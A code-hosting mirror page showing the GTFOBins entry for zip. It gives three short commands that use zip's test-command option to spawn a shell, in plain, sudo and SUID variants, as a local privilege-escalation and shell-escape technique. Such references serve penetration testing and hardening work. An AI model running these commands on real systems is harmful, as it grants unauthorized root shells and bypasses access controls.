This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-01 01:08:29 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
38a5860d4833a05c02cabbe039688ada0f5b29a0
GTFOBins.github.io
/
_gtfobins
/
zip.md
Emilio Pinna
0ba5df0cb9
Use temporary files in zip functions
2018-08-19 11:32:48 +01:00
373 B
Raw
Blame
History
functions
functions
execute-interactive
sudo-enabled
suid-limited
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
Reference in New Issue
View Git Blame
Copy Permalink